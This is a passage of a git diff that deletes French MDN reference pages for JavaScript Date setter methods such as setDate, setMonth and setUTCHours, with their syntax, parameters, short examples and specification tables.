Renvoie une chaîne de caractères représentant le code source pour un objet Date équivalent ; cette valeur peut être utilisée pour créer un nouvel objet. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("Date.prototype.toString()")}}
-
Renvoie une chaîne de caractères représentant l'objet Date spécifié. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("Date.prototype.toTimeString()")}}
-
Renvoie la partie « heure » de l'objet Date sous la forme d'une chaîne de caractères lisible par humain.
-
{{jsxref("Date.prototype.toUTCString()")}}
-
Convertit une date en une chaîne de caractères, en utilisant le fuseau horaire UTC.
-
{{jsxref("Date.prototype.valueOf()")}}
-
Renvoie la valeur primitive d'un objet Date. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.prototype")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setdate/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setdate/index.html deleted file mode 100644 index ee3c090a6d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setdate/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Date.prototype.setDate() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setDate -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate ---- -
{{JSRef}}
- -

La méthode setDate() définit le jour du mois (relatif au début du mois courant) pour une date donnée.

- -
{{EmbedInteractiveExample("pages/js/date-setdate.html")}}
- - - -

Syntaxe

- -
dateObj.setDate(valeurJour)
- -

Paramètres

- -
-
valeurJour
-
Un entier représentant le jour du mois.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 00:00:00 UTC et la date résultante (l'objet {{jsxref("Date")}} est également modifié).

- -

Description

- -

Si la valeurJour est en dehors des limites du mois courant, setDate() mettra à jour l'objet {{jsxref("Date")}} en conséquence.

- -

Par exemple, si 0 est fourni pour valeurJour, la date sera défini sur le dernier jour du mois précédent.

- -

Si on fournit un nombre négatif, la date sera déterminée à rebours à partir du dernier jour du mois précédent. Ainsi, avec -1, on obtiendrait la veille du dernier jour du mois précédent.

- -

Exemples

- -

Utiliser setDate()

- -
var theBigDay = new Date(1962, 6, 7); // 1962-07-06T23:00:00.000Z
-theBigDay.setDate(24);   // 1962-07-23T23:00:00.000Z
-theBigDay.setDate(32);   // 1962-07-31T23:00:00.000Z
-theBigDay.setDate(22);   // 1962-08-21T23:00:00.000Z
-theBigDay.setDate(0);    // 1962-07-30T23:00:00.000Z
-theBigDay.setDate(98);   // 1962-10-05T23:00:00.000Z
-theBigDay.setDate(-50);  // 1962-08-10T23:00:00.000Z
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.36', 'Date.prototype.setDate')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setDate")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getDate()")}}
    • -
  • {{jsxref("Date.prototype.setUTCDate()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setfullyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setfullyear/index.html deleted file mode 100644 index ffc97b61d0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setfullyear/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Date.prototype.setFullYear() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setFullYear -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear ---- -
{{JSRef}}
- -

La méthode setFullYear() définit l'année complête pour une date, d'après l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-setfullyear.html")}}
- - - -

Syntaxe

- -
dateObj.setFullYear(valeurAnnée[, valeurMois[, valeurJour]])
- -

Paramètres

- -
-
valeurAnnée
-
Un entier indiquant la valeur numérique de l'année, par exemple, 1995.
-
valeurMois
-
Paramètre optionnel qui représente un entier entre 0 et 11, représentant les mois de janvier à décembre.
-
valeurJour
-
Paramètre optionnel qui représente un entier entre 1 et 31 représentant le jour du mois. Si vous indiquez une valeurJour, vous devez aussi indiquer valeurMois.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit UTC et la date mise à jour.

- -

Description

- -

Si vous n'indiquez pas les paramètres valeurMois et valeurJour. Les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getMonth()", "getMonth()")}} et {{jsxref("Date.prototype.getDate()", "getDate()")}} seront utilisées.

- -

Si un des paramètres que vous indiquez est en dehors des limites attendues, setFullYear() tentera de mettre à jour la date en conséquence. Pa exemple, si vous indiquez 15 pour valeurMois, l'année sera incrémenté de 1 (année + 1), et 3 sera utilisé pour le mois.

- -

Exemples

- -

Utiliser setFullYear()

- -
var leGrandJour = new Date();
-leGrandJour.setFullYear(1997);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setFullYear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • -
  • {{jsxref("Date.prototype.setUTCFullYear()")}}
    • -
  • {{jsxref("Date.prototype.setYear()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/sethours/index.html b/files/fr/web/javascript/reference/objets_globaux/date/sethours/index.html deleted file mode 100644 index fba8af3e49..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/sethours/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Date.prototype.setHours() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setHours -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours ---- -
{{JSRef}}
- -

La méthode setHours() définit les heures pour une date donnée, selon l'heure locale, et renvoie le nombre de millièmes de secondes écoulées entre le 1er janvier 1970 00:00:00 UTC et la nouvelle date mise à jour.

- -
{{EmbedInteractiveExample("pages/js/date-sethours.html")}}
- - - -

Syntaxe

- -
dateObj.setHours(valeurHeures[, valeurMinutes[, valeurSecondes[, valeurMs]]])
-
- -

Versions antérieures à JavaScript 1.3

- -
dateObj.setHours(valeurHeures)
- -

Paramètres

- -
-
valeurHeures
-
Un entier normalement compris entre 0 et 23, représentant l'heure. Si la valeur est supérieure à 23, la valeur de l'heure sera incrémentée d'autant d'heures supplémentaires.
-
valeurMinutes
-
Paramètre optionnel, un entier normalement compris entre 0 et 59, représentant les minutes. Si la valeur est supérieure à 59, la valeur de l'heure sera incrémentée d'autant de minutes supplémentaires.
-
valeurSecondes
-
Paramètre optionnel, un entier normalement compris entre 0 et 59, représentant les secondes. Si vous indiquez le paramètre valeurSecondes, vous devez aussi renseigner valeurMinutes. Si la valeur est supérieure à 59, l'heure sera incrémentée d'autant de secondes supplémentaires.
-
valeurMs
-
Paramètre optionnel, un entier normalement compris entre 0 et 999, représentant les millièmes de secondes. Si vous indiquez valeurMs, vous devez aussi renseigner valeurMinutes et valeurSecondes. Si la valeur fournie est supérieure à 999, l'heure sera incrémentée d'autant de millisecondes supplémentaires.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit, UTC et la date mise à jour.

- -

Description

- -

Si vous ne renseignez pas valeurMinutes, valeurSecondes et valeurMs, les valeurs renvoyées par les méthodes {{jsxref("Date.getMinutes", "getMinutes()")}}, {{jsxref("Date.getSeconds", "getSeconds()")}}, et {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} seront utilisées.

- -

Si un des paramètres que vous renseignez est en dehors des limites attendues, setHours() tentera de mettre à jour la date en conséquence. Par exemple, si vous utilisez 100 pour valeurSecondes, les minutes seront incrémentées de 1 (min + 1), et 40 sera utilisé pour les secondes.

- -

Exemples

- -

Utiliser setHours()

- -
var leGrandJour = new Date();
-leGrandJour.setHours(7);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0
{{SpecName('ES5.1', '#sec-15.9.5.34', 'Date.prototype.setHours')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setHours")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getHours()")}}
    • -
  • {{jsxref("Date.prototype.setUTCHours()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setmilliseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setmilliseconds/index.html deleted file mode 100644 index d043689b4b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setmilliseconds/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Date.prototype.setMilliseconds() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setMilliseconds -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds ---- -
{{JSRef}}
- -

La méthode setMilliseconds() définit les millièmes de secondes pour la date, selon l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-setmilliseconds.html")}}
- - - -

Syntaxe

- -
dateObj.setMilliseconds(valeurMs)
- -

Paramètres

- -
-
valeurMs
-
Un entier entre 0 et 999, représentant les millièmes de secondes.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si vous indiquez un nombre en dehors des limites attendues, la date sera mise à jour en conséquence. Par exemple, si vous indiquez 1005, le nombre des secondes sera incrémenté de 1, et 5 sera utilisé pour les millièmes de secondes.

- -

Exemples

- -

Utiliser setMilliseconds()

- -
var leGrandJour = new Date();
-leGrandJour.setMilliseconds(100);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.28', 'Date.prototype.setMilliseconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setMilliseconds")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getMilliseconds()")}}
    • -
  • {{jsxref("Date.prototype.setUTCMilliseconds()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setminutes/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setminutes/index.html deleted file mode 100644 index ac856d4a5e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setminutes/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Date.prototype.setMinutes() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setMinutes -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes ---- -
{{JSRef}}
- -

La méthode setMinutes() définit les minutes pour la date donnée, selon l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-setminutes.html")}}
- - - -

Syntaxe

- -
dateObj.setMinutes(valeurMinutes[, valeurSecondes[, valeurMs]])
- -

Versions antérieures à JavaScript 1.3

- -
dateObj.setMinutes(valeurMinutes)
- -

Paramètres

- -
-
valeurMinutes
-
Un entier entre 0 et 59, représentant les minutes.
-
- -
-
valeurSecondes
-
Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si valeurSecondes est utilisé, il faut également utiliser valeurMinutes.
-
- -
-
valeurMs
-
Paramètre optionel, un nombre entre 0 et 999, représentant les millièmes de secondes. Si valeurMs est utilisé, il faut également utiliser valeurMinutes et valeurSecondes.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si valeurSecondes et valeurMs ne sont pas indiquées, les valeurs renvoyées par les méthodes {{jsxref("Date.getSeconds", "getSeconds()")}} et {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} seront utilisées.

- -

Si un paramètre est en dehors des limites attendues, setMinutes() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour valeurSecondes, les minutes (valeurMinutes) seront incrémentées de 1 (valeurMinutes + 1), et 40 sera utilisé pour les secondes.

- -

Exemples

- -

Utiliser setMinutes()

- -
var leGrandJour = new Date();
-leGrandJour.setMinutes(45);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.32', 'Date.prototype.setMinutes')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setMinutes")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getMinutes()")}}
    • -
  • {{jsxref("Date.prototype.setUTCMinutes()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setmonth/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setmonth/index.html deleted file mode 100644 index 7b93420bfd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setmonth/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Date.prototype.setMonth() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setMonth -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth ---- -
{{JSRef}}
- -

La méthode setMonth() définit le mois de la date, selon l'heure locale et l'année courante de l'objet {{jsxref("Date")}}

- -
{{EmbedInteractiveExample("pages/js/date-setmonth.html")}}
- - - -

Syntaxe

- -
dateObj.setMonth(valeurMois[, valeurJour])
- -

Versions antérieures à JavaScript 1.3

- -
dateObj.setMonth(valeurMois)
- -

Paramètres

- -
-
valeurMois
-
Un entier entre 0 et 11 (représentant les mois de janvier à décembre).
-
- -
-
valeurJour
-
Paramètre optionnel, un entier entre 1 et 31, représentant le jour du mois.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si le paramètre valeurJour n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.getDate", "getDate()")}} sera utilisée.

- -

Si un paramètre que vous renseignez n'est pas dans les limites attendues, setMonth() tentera de mettre à jour la date en conséquence. Par exemple, si la valeur 15 est utilisée pour valeurMois, l'année sera incrémenté de 1 (année + 1), et 3 sera utilisé pour le mois.

- -
-

Note : Attention aux jours du mois lorsqu'on utilise setMonth(). En effet, setMonth() cherchera à aboutir à une date correcte et on peut avoir des surprises pour les transitions entre les mois. Ainsi, en 2016 (où février a eu 29 jours), on aura le cas suivant :

- -
var finDuMois = new Date(2016, 7, 31); // le 31 août 2016
-finDuMois.setMonth(1);
-
-console.log(finDuMois.toLocaleString()); // 02/03/2016 à 00:00:00
-
- -

Exemples

- -

Utiliser setMonth()

- -
var leGrandJour = new Date();
-leGrandJour.setMonth(6);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.38', 'Date.prototype.setMonth')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setMonth")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getMonth()")}}
    • -
  • {{jsxref("Date.prototype.setUTCMonth()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setseconds/index.html deleted file mode 100644 index a9884c31d7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setseconds/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Date.prototype.setSeconds() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setSeconds -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds ---- -
{{JSRef}}
- -

La méthode setSeconds() définit les secondes pour la date, selon l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-setseconds.html")}}
- - - -

Syntaxe

- -
dateObj.setSeconds(valeurSecondes[, valeurMs])
- -

Versions antérieures à JavaScript 1.3

- -
dateObj.setSeconds(valeurSecondes)
- -

Paramètres

- -
-
valeurSecondes
-
Un entier entre 0 et 59.
-
valeurMs
-
Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si le paramètre valeurMs n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} sera utilisée.

- -

Si un paramètre utilisé est en dehors des limites attendues, setSeconds() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour valeurSecondes, les minutes de la date seront incrémentées de 1, et 40 sera utilisé pour les secondes.

- -

Exemples

- -

Utiliser setSeconds()

- -
var leGrandJour = new Date();
-leGrandJour.setSeconds(30)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.30', 'Date.prototype.setSeconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setSeconds")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getSeconds()")}}
    • -
  • {{jsxref("Date.prototype.setUTCSeconds()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/settime/index.html b/files/fr/web/javascript/reference/objets_globaux/date/settime/index.html deleted file mode 100644 index fa914face8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/settime/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Date.prototype.setTime() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setTime -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime ---- -
{{JSRef}}
- -

La méthode setTime() met l'objet {{jsxref("Date")}} à jour par rapport au nombre de millisecondes depuis le 1 janvier 1970, 00:00:00 UTC.

- -
{{EmbedInteractiveExample("pages/js/date-settime.html")}}
- - - -

Syntaxe

- -
dateObj.setTime(valeurTemps)
- -

Paramètres

- -
-
valeurTemps
-
Un entier représentant le nombre de millisecondes depuis le 1 janvier 1970, 00:00:00 UTC.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit, UTC et la date mise à jour (ce qui correspond à la valeur de l'argument).

- -

Description

- -

La méthode setTime() est utilisée afin d'assigner une date à un autre objet {{jsxref("Date")}}.

- -

Exemples

- -

Utiliser setTime()

- -
var leGrandJour = new Date("July 1, 1999");
-var pareilQueGrandJour = new Date();
-pareilQueGrandJour.setTime(leGrandJour.getTime());
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.27', 'Date.prototype.setTime')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setTime")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getTime()")}}
    • -
  • {{jsxref("Date.prototype.setUTCHours()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcdate/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcdate/index.html deleted file mode 100644 index cbf11c69c1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setutcdate/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Date.prototype.setUTCDate() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCDate -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate ---- -
{{JSRef}}
- -

La méthode setUTCDate() définit le jour du mois pour la date, selon UTC.

- -
{{EmbedInteractiveExample("pages/js/date-setutcdate.html")}}
- - - -

Syntaxe

- -
dateObj.setUTCDate(valeurJour)
- -

Paramètres

- -
-
valeurJour
-
Un entier de 1 à 31, représentant un jour dans le mois.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si le paramètre renseigné est en dehors des limites attendues, setUTCDate() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 40 pour valeurJour, et que le mois de la date est juin, le jour sera changé en 10 et le mois passera à juillet.

- -

Exemples

- -

Utiliser setUTCDate()

- -
var leGrandJour = new Date();
-leGrandJour.setUTCDate(20);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.37', 'Date.prototype.setUTCDate')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setUTCDate")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCDate()")}}
    • -
  • {{jsxref("Date.prototype.setDate()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutcfullyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutcfullyear/index.html deleted file mode 100644 index 771dff1935..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setutcfullyear/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Date.prototype.setUTCFullYear() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCFullYear -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear ---- -
{{JSRef}}
- -

La méthode setUTCFullYear() définit l'année complête pour la date, selon UTC.

- -
{{EmbedInteractiveExample("pages/js/date-setutcfullyear.html")}}
- - - -

Syntaxe

- -
dateObj.setUTCFullYear(valeurAnnée[, valeurMois[, valeurJour]])
- -

Paramètres

- -
-
valeurAnnée
-
Un entier indiquant la valeur numérique d'une année, par exemple, 1995.
-
valeurMois
-
Paramètre optionnel, un entier entre 0 et 11 représentant les mois de janvier à décembre.
-
valeurJour
-
Paramètre optionnel, un entier entre 1 et 31 représentant le jour du mois. Si le paramètre valeurJour est utilisé, il est également nécessaire d'indiquer valeurMois.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

Si les paramètres valeurMois et valeurJour ne sont pas utilisés, les valeurs renvoyées par les méthodes {{jsxref("Objets_globaux/Date/getUTCMonth", "getUTCMonth()")}} et {{jsxref("Objets_globaux/Date/getUTCDate", "getUTCDate()")}} seront utilisées.

- -

Si un des paramètres indiqué est en dehors des limites attendues, setUTCFullYear() tentera de mettre à jour la date en conséquence. Ainsi si on utilise la valeur 15 pour valeurMois, l'année sera incrémentée de 1 (année + 1), et 3 sera utilisé pour le mois.

- -

Exemples

- -

Utiliser setUTCFullYear()

- -
var leGrandJour = new Date();
-leGrandJour.setUTCFullYear(1997);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.41', 'Date.prototype.setUTCFullYear')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.setUTCFullYear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • -
  • {{jsxref("Date.prototype.setFullYear()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setutchours/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setutchours/index.html deleted file mode 100644 index 2183e9aeff..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/setutchours/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Date.prototype.setUTCHours() -slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCHours -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours ---- -
{{JSRef}}
- -

La méthode setUTCHours() définit les heures pour la date, selon UTC, et renvoie le nombre de millièmes de secondes écoulées entre le 1er janvier 1970 00:00:00 UTC et cette nouvelle date.

- -
{{EmbedInteractiveExample("pages/js/date-setutchours.html")}}
- - - -

Syntaxe

- -
dateObj.setUTCHours(valeurHeures[, valeurMinutes[, valeurSecondes[, valeurMs]]])
- -

Paramètres

- -
-
valeurHeures
-
Un entier entre 0 et 23, représentant l'heure.
-
valeurMinutes
-
Paramètre optionnel, un entier entre 0 et 59, représentant les minutes.
-
valeurSecondes
-
Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si le paramètre valeurSecondes est utilisé, le paramètre valeurMinutes devra également être renseigné.
-
valeurMs
-
Paramètre optionnel, un entier entre 0 et 999, représentant les millièmes de secondes. Si le paramètre valeurMs est utilisé, les paramètres valeurMinutes et valeurSecondes devront également être renseignés.
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

- -

Description

- -

